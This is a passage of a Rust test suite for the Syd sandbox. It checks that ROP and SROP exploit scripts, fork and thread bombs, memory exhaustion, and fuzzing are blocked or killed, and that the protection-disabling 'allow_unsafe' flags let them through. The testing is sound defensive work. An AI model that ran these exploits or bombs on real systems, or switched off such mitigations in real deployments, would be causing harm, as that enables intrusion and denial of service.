        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .m("allow/net/bind+/***")
        .do_("interrupt_bind_unix", NONE)
        .status()
        .expect("execute syd");
    // FIXME: This is a kernel bug, mixi will report it, check dev/seccomp_poc_no_lib.c
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_exp_interrupt_connect_ipv4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,net:on")
        .m("allow/read,stat,write,create+/***")
        .m("allow/net/bind+loopback!65432")
        .m("allow/net/connect+loopback!65432")
        .do_("interrupt_connect_ipv4", NONE)
        .status()
        .expect("execute syd");
    // FIXME: This is a kernel bug, mixi will report it, they have a POC.
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_ROP_linux() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("sh", "cc", "python3");
    if !init_stack_pivot() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Exploit must succeed outside Syd.
    let status = Command::new("python3")
        .args(["./stack-pivot", "run"])
        .status()
        .expect("execute python");
    assert_status_code!(status, 42);

    Ok(())
}

fn test_syd_ROP_default() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("sh", "cc", "python3");
    if !init_stack_pivot() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Exploit must fail due to execve args1==NULL||arg2==NULL.
    // We set log=info to see SegvGuard in action.
    // AT_SECURE mitigation may interfere so we disable.
    let status = syd()
        .p("fs")
        .p("tty")
        .m("trace/allow_unsafe_exec_libc:1")
        .m("allow/all+/***")
        .argv(["python3", "./stack-pivot", "run"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ROP_unsafe_exec_null() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("sh", "cc", "python3");
    if !init_stack_pivot() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // With trace/allow_unsafe_exec_null, ROP should be succeed.
    let status = syd()
        .p("fs")
        .p("tty")
        .m("trace/allow_unsafe_exec_libc:1")
        .m("trace/allow_unsafe_exec_null:1")
        .m("allow/all+/***")
        .argv(["python3", "./stack-pivot", "run"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    Ok(())
}

fn test_syd_ROP_unsafe_ptrace() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("sh", "cc", "python3");
    if !init_stack_pivot() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // With trace/allow_unsafe_{exec_null,ptrace}:1,
    // ROP should succeed.
    let status = syd()
        .p("fs")
        .p("tty")
        .m("trace/allow_unsafe_exec_libc:1")
        .m("trace/allow_unsafe_exec_null:1")
        .m("trace/allow_unsafe_ptrace:1")
        .m("allow/all+/***")
        .argv(["python3", "./stack-pivot", "run"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    Ok(())
}

fn test_syd_exp_trinity() -> TestResult {
    skip_unless_unshare!("all");

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "0");

    let epoch = std::time::Instant::now();

    let status = syd()
        .p("ltp")
        .do_("syscall_fuzz", NONE)
        .status()
        .expect("execute syd");

    let code = status.code().unwrap_or(127);
    let time = format_duration(epoch.elapsed());
    println!("# fuzz completed in {time} with code {code}.");

    env::set_var("SYD_TEST_TIMEOUT", timeout);

    assert_status_ok!(status);
    Ok(())
}

fn test_syd_SROP_linux() -> TestResult {
    skip_if_strace!();
    skip_if_32bin_64host!();
    skip_unless_available!("sh", "cc", "python3");
    if !init_srop() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Exploit must succeed outside Syd.
    let status = Command::new("python3")
        .args(["./srop", "run"])
        .status()
        .expect("execute python");
    assert_status_code!(status, 42);

    Ok(())
}

fn test_syd_SROP_default() -> TestResult {
    skip_if_strace!();
    skip_if_32bin_64host!();
    skip_unless_available!("sh", "cc", "python3");
    if !init_srop() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Exploit must fail due to execve args1==NULL||arg2==NULL.
    // That's why we set unsafe_exec_null:1 to test SROP mitigations only.
    // We set log=info to see SegvGuard in action.
    // AT_SECURE mitigation may interfere so we disable.
    let status = syd()
        .p("fs")
        .p("tty")
        .m("trace/allow_unsafe_exec_libc:1")
        .m("trace/allow_unsafe_exec_null:1")
        .m("allow/all+/***")
        .argv(["python3", "./srop", "run"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_SROP_unsafe() -> TestResult {
    skip_if_strace!();
    skip_if_32bin_64host!();
    skip_unless_available!("sh", "cc", "python3");
    if !init_srop() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // With trace/allow_unsafe_sigreturn:1, SROP should succeed.
    let status = syd()
        .p("fs")
        .p("tty")
        .m("trace/allow_unsafe_exec_libc:1")
        .m("trace/allow_unsafe_exec_null:1")
        .m("trace/allow_unsafe_sigreturn:1")
        .m("allow/all+/***")
        .argv(["python3", "./srop", "run"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    Ok(())
}

fn test_syd_SROP_detect_genuine_sigreturn() -> TestResult {
    skip_if_strace!();

    let sigs = vec![
        libc::SIGHUP.to_string(),
        libc::SIGINT.to_string(),
        libc::SIGPIPE.to_string(),
        libc::SIGTERM.to_string(),
    ];

    let status = syd()
        .p("off")
        .do_("sighandle", &sigs)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_SROP_detect_artificial_sigreturn_default() -> TestResult {
    skip_if_strace!();

    let status = syd()
        .p("off")
        .do_("sigreturn", NONE)
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    Ok(())
}

fn test_syd_SROP_detect_artificial_sigreturn_unsafe() -> TestResult {
    skip_if_strace!();

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_sigreturn:1")
        .do_("sigreturn", NONE)
        .status()
        .expect("execute syd");
    assert_status_not_killed!(status);

    Ok(())
}

fn test_syd_SROP_false_positive_1() -> TestResult {
    skip_if_strace!();
    skip_if_32bin_64host!();
    skip_unless_available!("python3");
    if !init_srop_false_positive_1() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // False positive is killed incorrectly.
    let status = syd()
        .p("fs")
        .p("tty")
        .m("allow/all+/***")
        .argv(["python3", "./srop-false-positive-1", "-v"])
        .status()
        .expect("execute syd");
    // FIXME: Not stable on CI.
    assert_status_code_matches!(status, 0 | EX_SIGKILL);

    Ok(())
}

fn test_syd_pid_thread_kill() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user", "mount", "pid");

    let status = syd()
        .p("off")
        .m("unshare/user,pid:1")
        .m("pid/max:1")
        .do_("thread", ["0", "24"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, EX_SIGKILL);

    Ok(())
}

fn test_syd_pid_fork_kill() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user", "mount", "pid");

    let status = syd()
        .p("off")
        .m("unshare/user,pid:1")
        .m("pid/max:16")
        .do_("fork", ["0", "24"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, EX_SIGKILL);

    Ok(())
}

fn test_syd_pid_fork_bomb() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user", "mount", "pid");

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "15s");
    let status = syd()
        .env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
        .log("error")
        .p("off")
        .m("unshare/user,pid:1")
        .m("pid/max:16")
        .do_("fork_bomb", NONE)
        //.stdout(Stdio::null())
        //.stderr(Stdio::null())
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_code!(status, EX_SIGKILL);

    Ok(())
}

fn test_syd_pid_fork_bomb_asm() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user", "mount", "pid");

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "15s");
    let status = syd()
        .env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
        .log("error")
        .p("off")
        .m("unshare/user,pid:1")
        .m("pid/max:16")
        .do_("fork_bomb_asm", NONE)
        //.stdout(Stdio::null())
        //.stderr(Stdio::null())
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_code!(status, EX_SIGKILL);

    Ok(())
}

fn test_syd_pid_thread_bomb() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!("user", "mount", "pid");

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "15s");
    let status = syd()
        .env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
        .log("error")
        .p("off")
        .m("unshare/user,pid:1")
        .m("pid/max:16")
        .do_("thread_bomb", NONE)
        //.stdout(Stdio::null())
        //.stderr(Stdio::null())
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_code!(status, EX_SIGKILL);

    Ok(())
}

fn test_syd_exp_pid_stress_ng_kill() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!("user", "mount", "pid");

    let status = syd()
        .p("off")
        .m("unshare/user,pid:1")
        .m("pid/max:1")
        .argv(["stress-ng", "-c", "1", "-t", "7"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, EX_SIGKILL);

    Ok(())
}

fn test_syd_exp_pid_stress_ng_allow() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!("user", "mount", "pid");

    let status = syd()
        .p("off")
        .m("unshare/user,pid:1")
        .m("default/pid:warn")
        .m("pid/max:2")
        .argv(["stress-ng", "--log-file", "log", "-c", "1", "-t", "7"])
        .status()
        .expect("execute syd");
    // Fails on CI.
    if !*CI_BUILD {
        assert_status_ok!(status);
    } else {
        ignore!(status.success(), "status:{status:?}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let mut file = File::open("log")?;
    let mut logs = String::new();
    file.read_to_string(&mut logs)?;

    assert!(!logs.contains("errno="), "logs:{logs:?}");

    Ok(())
}

fn test_syd_exp_pid_stress_ng_fork() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!("user", "mount", "pid");

    let status = syd()
        .p("off")
        .m("unshare/user,pid:1")
        .m("default/pid:filter")
        .m("pid/max:128")
        .argv([
            "stress-ng",
            "--log-file",
            "log",
            "-f",
            "4",
            "-t",
            "15",
            "--fork-max",
            "1024",
        ])
        .status()
        .expect("execute syd");
    // Fails on CI.
    if !*CI_BUILD {
        assert_status_ok!(status);
    } else {
        ignore!(status.success(), "status:{status:?}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let mut file = File::open("log")?;
    let mut logs = String::new();
    file.read_to_string(&mut logs)?;
    assert!(!logs.contains("errno="), "logs:{logs:?}");

    Ok(())
}

fn test_syd_exp_crypt_stress_ng() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("sh", "stress-ng");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    const STRESSORS: &[&str] = &[
        "access",
        "acl",
        "copy-file",
        "fallocate",
        "fd-abuse",
        "fd-race",
        "fiemap",
        "filename",
        "filerace",
        "flock",
        "fstat",
        "hdd",
        "io",
        "iomix",
        "lockf",
        "lockmix",
        "lockofd",
        "memfd",
        "mmapfiles",
        "open",
        "readahead",
        "rename",
        "seek",
        "splice",
        "sync-file",
        "tee",
        "unlink",
        "vm",
    ];
    let status = syd()
        .p("off")
        .m("segvguard/expiry:0")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt+{cwd}/tmp/**"))
        .argv(["sh", "-cex"])
        .arg(format!(
            r##"
mkdir -m700 -p ./tmp
exec stress-ng \
  --all 0 --with {} --temp-path ./tmp --timeout 60s \
  --aggressive --metrics \
  --hdd 8 --hdd-bytes 128M --hdd-opts wr-seq,rd-rnd
"##,
            STRESSORS.join(",")
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mem_alloc_deny() -> TestResult {
    let status = syd()
        .env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
        .p("off")
        .m("mem/max:256M")
        .do_("alloc", NONE)
        .status()
        .expect("execute syd");
    // This test times out on GITLAB CI.
    // TODO: Investigate, see: #166.
    if !*GL_BUILD {
        // Segmentation fault is expected.
        // IOT is confusing but happens on alpine+musl.
        // Otherwise we require ENOMEM.
        assert!(
            matches!(
                status.code().unwrap_or(127),
                ENOMEM | EX_SIGIOT | EX_SIGSEGV
            ),
            "status:{status:?}"
        );
    } else {
        ignore!(status.success(), "status:{status:?}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    Ok(())
}

fn test_syd_mem_alloc_kill() -> TestResult {
    let status = syd()
        .env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
        .p("off")
        .m("mem/max:256M")
        .m("default/mem:kill")
        .do_("alloc", NONE)
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    Ok(())
}

fn test_syd_exp_mem_stress_ng_malloc_1() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!("user", "mount", "pid");

    let command = syd()
        .p("off")
        .m("unshare/user,pid:1")
        .m("mem/max:32M")
        .m("mem/vm_max:256M")
        .argv([
            "stress-ng",
            "-v",
            "-t",
            "5",
            "--malloc",
            "4",
            "--malloc-bytes",
            "128M",
        ])
        .stdout(Stdio::inherit())
        .stderr(Stdio::piped())
        .spawn()
        .expect("spawn syd");

    let output = command.wait_with_output().expect("wait syd");
    let output = String::from_utf8_lossy(&output.stderr);
    eprintln!("{output}");
    assert!(output.contains(r#""cap":"m""#), "out:{output:?}");

    Ok(())
}

fn test_syd_exp_mem_stress_ng_malloc_2() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!("user", "mount", "pid");

    let command = syd()
        .p("off")
        .m("unshare/user,pid:1")
        .m("mem/max:32M")
        .m("mem/vm_max:256M")
        .argv([
            "stress-ng",
            "-v",
            "-t",
            "5",
            "--malloc",
            "4",
            "--malloc-bytes",
            "128M",
            "--malloc-touch",
        ])
        .stdout(Stdio::inherit())
        .stderr(Stdio::piped())
        .spawn()
        .expect("spawn syd");

    let output = command.wait_with_output().expect("wait syd");
    let output = String::from_utf8_lossy(&output.stderr);
    eprintln!("{output}");
    assert!(output.contains(r#""cap":"m""#), "out:{output:?}");

    Ok(())
}

fn test_syd_exp_mem_stress_ng_mmap() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("stress-ng");
    skip_unless_unshare!("user", "mount", "pid");

    let command = syd()
        .p("off")
        .m("unshare/user,pid:1")
        .m("mem/max:16M")
        .m("mem/vm_max:64M")
        .argv([
            "stress-ng",
            "-v",
            "-t",
            "5",
            "--mmap",
            "4",
            "--mmap-bytes",
            "1G",
        ])
        .stdout(Stdio::inherit())
        .stderr(Stdio::piped())
        .spawn()
        .expect("spawn syd");

    let output = command.wait_with_output().expect("wait syd");
    let output = String::from_utf8_lossy(&output.stderr);
    eprintln!("{output}");
    fixup!(output.contains(r#""cap":"m""#), "out:{output:?}");

    Ok(())
}

fn test_syd_proc_set_at_secure_test_native_dynamic_1() -> TestResult {
    skip_if_cross_memory_attach_is_not_enabled!();
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "proc_set_at_secure_test_native_dynamic_1")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_proc_set_at_secure_test_native_dynamic_2() -> TestResult {
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "proc_set_at_secure_test_native_dynamic_2")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_proc_set_at_secure_test_native_static_1() -> TestResult {
    skip_if_cross_memory_attach_is_not_enabled!();
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "proc_set_at_secure_test_native_static_1")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_proc_set_at_secure_test_native_static_2() -> TestResult {
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "proc_set_at_secure_test_native_static_2")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_proc_set_at_secure_test_native_dynamic_pie_1() -> TestResult {
    skip_if_cross_memory_attach_is_not_enabled!();
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env(
            "SYD_TEST_DO",
            "proc_set_at_secure_test_native_dynamic_pie_1",
        )
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_proc_set_at_secure_test_native_dynamic_pie_2() -> TestResult {
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env(
            "SYD_TEST_DO",
            "proc_set_at_secure_test_native_dynamic_pie_2",
        )
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_proc_set_at_secure_test_native_static_pie_1() -> TestResult {
    skip_if_cross_memory_attach_is_not_enabled!();
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "proc_set_at_secure_test_native_static_pie_1")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_proc_set_at_secure_test_native_static_pie_2() -> TestResult {
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "proc_set_at_secure_test_native_static_pie_2")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_proc_set_at_secure_test_32bit_dynamic_1() -> TestResult {
    skip_if_cross_memory_attach_is_not_enabled!();
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_dynamic_1")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_proc_set_at_secure_test_32bit_dynamic_2() -> TestResult {
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_dynamic_2")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_proc_set_at_secure_test_32bit_static_1() -> TestResult {
    skip_if_cross_memory_attach_is_not_enabled!();
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_static_1")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_proc_set_at_secure_test_32bit_static_2() -> TestResult {
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_static_2")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_proc_set_at_secure_test_32bit_dynamic_pie_1() -> TestResult {
    skip_if_cross_memory_attach_is_not_enabled!();
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_dynamic_pie_1")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_proc_set_at_secure_test_32bit_dynamic_pie_2() -> TestResult {
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_dynamic_pie_2")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_proc_set_at_secure_test_32bit_static_pie_1() -> TestResult {
    skip_if_cross_memory_attach_is_not_enabled!();
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_static_pie_1")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_proc_set_at_secure_test_32bit_static_pie_2() -> TestResult {
    skip_unless_available!("cc");

    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "proc_set_at_secure_test_32bit_static_pie_2")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_set_syscall_chdir_noop() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_set_syscall_chdir_noop")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_set_syscall_chdir_eperm() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_set_syscall_chdir_eperm")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_set_syscall_chdir_enoent() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_set_syscall_chdir_enoent")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_set_syscall_chdir_esrch() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_set_syscall_chdir_esrch")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_set_syscall_chdir_eintr() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_set_syscall_chdir_eintr")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_set_syscall_chdir_eio() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_set_syscall_chdir_eio")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_set_syscall_chdir_enxio() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_set_syscall_chdir_enxio")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_set_syscall_chdir_e2big() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_set_syscall_chdir_e2big")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_set_syscall_chdir_enoexec() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_set_syscall_chdir_enoexec")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_set_syscall_chdir_ebadf() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_set_syscall_chdir_ebadf")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_set_syscall_chdir_echild() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_set_syscall_chdir_echild")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_get_syscall_info_random_args() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_get_syscall_info_random_args")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_get_error_chdir_success() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_get_error_chdir_success")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_get_error_chdir_enoent() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_get_error_chdir_enoent")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_get_error_chdir_eacces() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_get_error_chdir_eacces")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_get_error_chdir_enotdir() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_get_error_chdir_enotdir")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ptrace_get_error_chdir_efault() -> TestResult {
    let syd_do = &SYD_DO.to_string();
    let status = Command::new(syd_do)
        .env("SYD_TEST_DO", "ptrace_get_error_chdir_efault")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_waitid_with_kptr_default() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .do_("waitid_kptr", NONE)
        .status()
        .expect("execute syd");
    assert_status_faulted!(status);
    Ok(())
}

fn test_syd_waitid_with_kptr_unsafe() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .m("trace/allow_unsafe_kptr:1")
        .do_("waitid_kptr", NONE)
        .status()
        .expect("execute syd");
    assert_status_faulted!(status);
    Ok(())
}

fn test_syd_tor_recv4_one() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!("diff", "grep", "sed", "sh", "shuf", "socat", "tail");

    let syd = &SYD.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!0 in the background."
set -x
{syd_pds} socat -u -d -d FILE:chk TCP4-LISTEN:0,bind=127.0.0.1,forever 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
    -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- socat -u TCP4:127.0.0.1:9050,forever OPEN:msg,wronly,creat,excl
tail >&2 log
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_recv6_one() -> TestResult {
    skip_unless_unshare!("user", "net");
    skip_unless_available!("diff", "grep", "sed", "sh", "shuf", "socat", "tail");

    let syd = &SYD.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("10m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on ::1!0 in the background."
set -x
{syd_pds} socat -u -d -d FILE:chk TCP6-LISTEN:0,bind=[::1],forever,ipv6only 2>log &
set +x
echo >&2 "[*] Waiting for background socat to start listening..."
while ! grep -q listening log; do :; done
SYD_TEST_TOR_PORT=$(grep 'listening on' log | sed -n 's/.*:\([0-9][0-9]*\)$/\1/p')
echo >&2 "[*] Background socat is listening on port $SYD_TEST_TOR_PORT!"
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on \
    -m'allow/net/bind+!unnamed' \
